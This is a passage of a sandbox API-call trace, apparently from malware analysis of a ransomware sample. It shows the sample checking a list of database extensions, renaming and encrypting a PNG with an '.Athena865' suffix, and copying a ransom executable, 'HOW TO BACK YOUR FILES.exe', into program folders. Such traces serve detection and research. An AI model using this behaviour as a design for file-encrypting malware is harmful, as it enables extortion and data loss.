(lpString1="png", lpString2="dbf") returned 1 [0120.070] lstrlenW (lpString="mdf") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1 [0120.070] lstrlenW (lpString="mdb") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1 [0120.070] lstrlenW (lpString="sql") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="sql") returned -1 [0120.070] lstrlenW (lpString="sqlite") returned 6 [0120.070] lstrcmpiW (lpString1="ot.png", lpString2="sqlite") returned -1 [0120.070] lstrlenW (lpString="sqlite3") returned 7 [0120.070] lstrcmpiW (lpString1="Dot.png", lpString2="sqlite3") returned -1 [0120.070] lstrlenW (lpString="sqlitedb") returned 8 [0120.070] lstrcmpiW (lpString1="eDot.png", lpString2="sqlitedb") returned -1 [0120.070] lstrlenW (lpString="xml") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="xml") returned -1 [0120.070] lstrlenW (lpString="$er") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="$er") returned 1 [0120.070] lstrlenW (lpString="4dd") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1 [0120.070] lstrlenW (lpString="4dl") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1 [0120.070] lstrlenW (lpString="^^^") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1 [0120.070] lstrlenW (lpString="abs") returned 3 [0120.070] lstrcmpiW (lpString1="png", lpString2="abs") returned 1 [0120.071] lstrlenW (lpString="abx") returned 3 [0120.071] lstrcmpiW (lpString1="png", lpString2="abx") returned 1 [0120.071] lstrlenW (lpString="accdb") returned 5 [0120.071] lstrcmpiW (lpString1="t.png", lpString2="accdb") returned 1 [0120.071] lstrlenW (lpString="accdc") returned 5 [0120.071] lstrcmpiW (lpString1="t.png", lpString2="accdc") returned 1 [0120.071] lstrlenW (lpString="accde") returned 5 [0120.071] lstrcmpiW (lpString1="t.png", lpString2="accde") returned 1 [0120.071] lstrlenW (lpString="accdr") returned 5 [0120.071] lstrcmpiW (lpString1="t.png", lpString2="accdr") returned 1 [0120.071] lstrlenW (lpString="accdt") returned 5 [0120.071] lstrcmpiW (lpString1="t.png", lpString2="accdt") returned 1 [0120.071] lstrlenW (lpString="accdw") returned 5 [0120.071] lstrcmpiW (lpString1="t.png", lpString2="accdw") returned 1 [0120.071] lstrlenW (lpString="accft") returned 5 [0120.071] lstrcmpiW (lpString1="t.png", lpString2="accft") returned 1 [0120.071] lstrlenW (lpString="adb") returned 3 [0120.071] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0120.071] lstrlenW (lpString="adb") returned 3 [0120.071] lstrcmpiW (lpString1="png", lpString2="adb") returned 1 [0120.071] lstrlenW (lpString="ade") returned 3 [0120.071] lstrcmpiW (lpString1="png", lpString2="ade") returned 1 [0120.071] lstrlenW (lpString="adf") returned 3 [0120.071] lstrcmpiW (lpString1="png", lpString2="adf") returned 1 [0120.071] lstrlenW (lpString="adn") returned 3 [0120.071] lstrcmpiW (lpString1="png", lpString2="adn") returned 1 [0120.071] lstrlenW (lpString="adp") returned 3 [0120.071] lstrcmpiW (lpString1="png", lpString2="adp") returned 1 [0120.071] lstrlenW (lpString="alf") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="alf") returned 1 [0120.072] lstrlenW (lpString="ask") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="ask") returned 1 [0120.072] lstrlenW (lpString="btr") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="btr") returned 1 [0120.072] lstrlenW (lpString="cat") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="cat") returned 1 [0120.072] lstrlenW (lpString="cdb") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1 [0120.072] lstrlenW (lpString="ckp") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1 [0120.072] lstrlenW (lpString="cma") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="cma") returned 1 [0120.072] lstrlenW (lpString="cpd") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1 [0120.072] lstrlenW (lpString="dacpac") returned 6 [0120.072] lstrcmpiW (lpString1="ot.png", lpString2="dacpac") returned 1 [0120.072] lstrlenW (lpString="dad") returned 3 [0120.072] lstrcmpiW (lpString1="png", lpString2="dad") returned 1 [0120.072] lstrlenW (lpString="dadiagrams") returned 10 [0120.072] lstrcmpiW (lpString1="iteDot.png", lpString2="dadiagrams") returned 1 [0120.072] lstrlenW (lpString="daschema") returned 8 [0120.072] lstrcmpiW (lpString1="eDot.png", lpString2="daschema") returned 1 [0120.072] lstrlenW (lpString="db-journal") returned 10 [0120.072] lstrcmpiW (lpString1="iteDot.png", lpString2="db-journal") returned 1 [0120.072] lstrlenW (lpString="db-shm") returned 6 [0120.072] lstrcmpiW (lpString1="ot.png", lpString2="db-shm") returned 1 [0120.072] lstrlenW (lpString="db-wal") returned 6 [0120.072] lstrcmpiW (lpString1="ot.png", lpString2="db-wal") returned 1 [0120.072] lstrlenW (lpString="dbc") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1 [0120.073] lstrlenW (lpString="dbs") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1 [0120.073] lstrlenW (lpString="dbt") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1 [0120.073] lstrlenW (lpString="dbv") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1 [0120.073] lstrlenW (lpString="dbx") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1 [0120.073] lstrlenW (lpString="dcb") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1 [0120.073] lstrlenW (lpString="dct") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dct") returned 1 [0120.073] lstrlenW (lpString="dcx") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1 [0120.073] lstrlenW (lpString="ddl") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1 [0120.073] lstrlenW (lpString="dlis") returned 4 [0120.073] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1 [0120.073] lstrlenW (lpString="dp1") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1 [0120.073] lstrlenW (lpString="dqy") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1 [0120.073] lstrlenW (lpString="dsk") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1 [0120.073] lstrlenW (lpString="dsn") returned 3 [0120.073] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1 [0120.073] lstrlenW (lpString="dtsx") returned 4 [0120.073] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1 [0120.074] lstrlenW (lpString="dxl") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1 [0120.074] lstrlenW (lpString="eco") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="eco") returned 1 [0120.074] lstrlenW (lpString="ecx") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1 [0120.074] lstrlenW (lpString="edb") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="edb") returned 1 [0120.074] lstrlenW (lpString="epim") returned 4 [0120.074] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1 [0120.074] lstrlenW (lpString="fcd") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1 [0120.074] lstrlenW (lpString="fdb") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1 [0120.074] lstrlenW (lpString="fic") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="fic") returned 1 [0120.074] lstrlenW (lpString="flexolibrary") returned 12 [0120.074] lstrlenW (lpString="fm5") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1 [0120.074] lstrlenW (lpString="fmp") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1 [0120.074] lstrlenW (lpString="fmp12") returned 5 [0120.074] lstrcmpiW (lpString1="t.png", lpString2="fmp12") returned 1 [0120.074] lstrlenW (lpString="fmpsl") returned 5 [0120.074] lstrcmpiW (lpString1="t.png", lpString2="fmpsl") returned 1 [0120.074] lstrlenW (lpString="fol") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="fol") returned 1 [0120.074] lstrlenW (lpString="fp3") returned 3 [0120.074] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1 [0120.074] lstrlenW (lpString="fp4") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1 [0120.075] lstrlenW (lpString="fp5") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1 [0120.075] lstrlenW (lpString="fp7") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1 [0120.075] lstrlenW (lpString="fpt") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1 [0120.075] lstrlenW (lpString="frm") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="frm") returned 1 [0120.075] lstrlenW (lpString="gdb") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0120.075] lstrlenW (lpString="gdb") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1 [0120.075] lstrlenW (lpString="grdb") returned 4 [0120.075] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1 [0120.075] lstrlenW (lpString="gwi") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1 [0120.075] lstrlenW (lpString="hdb") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1 [0120.075] lstrlenW (lpString="his") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="his") returned 1 [0120.075] lstrlenW (lpString="ib") returned 2 [0120.075] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1 [0120.075] lstrlenW (lpString="idb") returned 3 [0120.075] lstrcmpiW (lpString1="png", lpString2="idb") returned 1 [0120.075] lstrlenW (lpString="ihx") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1 [0120.076] lstrlenW (lpString="itdb") returned 4 [0120.076] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1 [0120.076] lstrlenW (lpString="itw") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="itw") returned 1 [0120.076] lstrlenW (lpString="jet") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="jet") returned 1 [0120.076] lstrlenW (lpString="jtx") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1 [0120.076] lstrlenW (lpString="kdb") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1 [0120.076] lstrlenW (lpString="kexi") returned 4 [0120.076] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1 [0120.076] lstrlenW (lpString="kexic") returned 5 [0120.076] lstrcmpiW (lpString1="t.png", lpString2="kexic") returned 1 [0120.076] lstrlenW (lpString="kexis") returned 5 [0120.076] lstrcmpiW (lpString1="t.png", lpString2="kexis") returned 1 [0120.076] lstrlenW (lpString="lgc") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1 [0120.076] lstrlenW (lpString="lwx") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1 [0120.076] lstrlenW (lpString="maf") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="maf") returned 1 [0120.076] lstrlenW (lpString="maq") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="maq") returned 1 [0120.076] lstrlenW (lpString="mar") returned 3 [0120.076] lstrcmpiW (lpString1="png", lpString2="mar") returned 1 [0120.076] lstrlenW (lpString="marshal") returned 7 [0120.076] lstrcmpiW (lpString1="Dot.png", lpString2="marshal") returned -1 [0120.077] lstrlenW (lpString="mas") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mas") returned 1 [0120.077] lstrlenW (lpString="mav") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mav") returned 1 [0120.077] lstrlenW (lpString="maw") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="maw") returned 1 [0120.077] lstrlenW (lpString="mdbhtml") returned 7 [0120.077] lstrcmpiW (lpString1="Dot.png", lpString2="mdbhtml") returned -1 [0120.077] lstrlenW (lpString="mdn") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1 [0120.077] lstrlenW (lpString="mdt") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1 [0120.077] lstrlenW (lpString="mfd") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1 [0120.077] lstrlenW (lpString="mpd") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1 [0120.077] lstrlenW (lpString="mrg") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1 [0120.077] lstrlenW (lpString="mud") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mud") returned 1 [0120.077] lstrlenW (lpString="mwb") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1 [0120.077] lstrlenW (lpString="myd") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="myd") returned 1 [0120.077] lstrlenW (lpString="ndf") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1 [0120.077] lstrlenW (lpString="nnt") returned 3 [0120.077] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1 [0120.077] lstrlenW (lpString="nrmlib") returned 6 [0120.077] lstrcmpiW (lpString1="ot.png", lpString2="nrmlib") returned 1 [0120.078] lstrlenW (lpString="ns2") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1 [0120.078] lstrlenW (lpString="ns3") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1 [0120.078] lstrlenW (lpString="ns4") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1 [0120.078] lstrlenW (lpString="nsf") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1 [0120.078] lstrlenW (lpString="nv") returned 2 [0120.078] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1 [0120.078] lstrlenW (lpString="nv2") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1 [0120.078] lstrlenW (lpString="nwdb") returned 4 [0120.078] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1 [0120.078] lstrlenW (lpString="nyf") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1 [0120.078] lstrlenW (lpString="odb") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0120.078] lstrlenW (lpString="odb") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="odb") returned 1 [0120.078] lstrlenW (lpString="oqy") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1 [0120.078] lstrlenW (lpString="ora") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="ora") returned 1 [0120.078] lstrlenW (lpString="orx") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="orx") returned 1 [0120.078] lstrlenW (lpString="owc") returned 3 [0120.078] lstrcmpiW (lpString1="png", lpString2="owc") returned 1 [0120.078] lstrlenW (lpString="p96") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="p96") returned 1 [0120.079] lstrlenW (lpString="p97") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="p97") returned 1 [0120.079] lstrlenW (lpString="pan") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="pan") returned 1 [0120.079] lstrlenW (lpString="pdb") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1 [0120.079] lstrlenW (lpString="pdm") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1 [0120.079] lstrlenW (lpString="pnz") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1 [0120.079] lstrlenW (lpString="qry") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="qry") returned -1 [0120.079] lstrlenW (lpString="qvd") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1 [0120.079] lstrlenW (lpString="rbf") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1 [0120.079] lstrlenW (lpString="rctd") returned 4 [0120.079] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1 [0120.079] lstrlenW (lpString="rod") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="rod") returned -1 [0120.079] lstrlenW (lpString="rodx") returned 4 [0120.079] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1 [0120.079] lstrlenW (lpString="rpd") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1 [0120.079] lstrlenW (lpString="rsd") returned 3 [0120.079] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1 [0120.079] lstrlenW (lpString="sas7bdat") returned 8 [0120.079] lstrcmpiW (lpString1="eDot.png", lpString2="sas7bdat") returned -1 [0120.080] lstrlenW (lpString="sbf") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1 [0120.080] lstrlenW (lpString="scx") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="scx") returned -1 [0120.080] lstrlenW (lpString="sdb") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1 [0120.080] lstrlenW (lpString="sdc") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1 [0120.080] lstrlenW (lpString="sdf") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1 [0120.080] lstrlenW (lpString="sis") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="sis") returned -1 [0120.080] lstrlenW (lpString="spq") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="spq") returned -1 [0120.080] lstrlenW (lpString="te") returned 2 [0120.080] lstrcmpiW (lpString1="ng", lpString2="te") returned -1 [0120.080] lstrlenW (lpString="teacher") returned 7 [0120.080] lstrcmpiW (lpString1="Dot.png", lpString2="teacher") returned -1 [0120.080] lstrlenW (lpString="tmd") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1 [0120.080] lstrlenW (lpString="tps") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="tps") returned -1 [0120.080] lstrlenW (lpString="trc") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0120.080] lstrlenW (lpString="trc") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="trc") returned -1 [0120.080] lstrlenW (lpString="trm") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="trm") returned -1 [0120.080] lstrlenW (lpString="udb") returned 3 [0120.080] lstrcmpiW (lpString1="png", lpString2="udb") returned -1 [0120.080] lstrlenW (lpString="udl") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="udl") returned -1 [0120.081] lstrlenW (lpString="usr") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="usr") returned -1 [0120.081] lstrlenW (lpString="v12") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="v12") returned -1 [0120.081] lstrlenW (lpString="vis") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="vis") returned -1 [0120.081] lstrlenW (lpString="vpd") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1 [0120.081] lstrlenW (lpString="vvv") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1 [0120.081] lstrlenW (lpString="wdb") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1 [0120.081] lstrlenW (lpString="wmdb") returned 4 [0120.081] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1 [0120.081] lstrlenW (lpString="wrk") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1 [0120.081] lstrlenW (lpString="xdb") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1 [0120.081] lstrlenW (lpString="xld") returned 3 [0120.081] lstrcmpiW (lpString1="png", lpString2="xld") returned -1 [0120.081] lstrlenW (lpString="xmlff") returned 5 [0120.081] lstrcmpiW (lpString1="t.png", lpString2="xmlff") returned -1 [0120.081] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.Athena865") returned 66 [0120.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.athena865"), dwFlags=0x1) returned 1 [0120.082] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.Athena865" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0120.082] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23722) returned 1 [0120.082] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.083] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.083] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.083] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.084] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fb0, lpName=0x0) returned 0x154 [0120.085] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5fb0) returned 0x100000 [0120.087] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.087] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.087] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.088] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0120.088] CloseHandle (hObject=0x154) returned 1 [0120.089] CloseHandle (hObject=0x17c) returned 1 [0120.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.089] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0120.089] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0120.089] ReleaseMutex (hMutex=0xec) returned 1 [0120.089] CloseHandle (hObject=0xec) returned 1 [0120.089] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0120.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502b28 | out: hHeap=0x4f0000) returned 1 [0120.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c320 | out: hHeap=0x4f0000) returned 1 [0120.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned 56 [0120.089] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\55C64FFD2F16FE4E78CC9993887AFC24") returned 0xec [0120.089] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0120.089] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" | out: lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" [0120.089] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0120.090] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\how to back your files.exe"), bFailIfExists=1) returned 0 [0120.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0120.090] GetLastError () returned 0x0 [0120.090] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0120.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552940 [0120.090] ReadFile (in: hFile=0xf4, lpBuffer=0x552940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0120.091] CloseHandle (hObject=0xf4) returned 1 [0120.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.091] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0120.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce681920, ftLastAccessTime.dwHighDateTime=0x1d575b6, 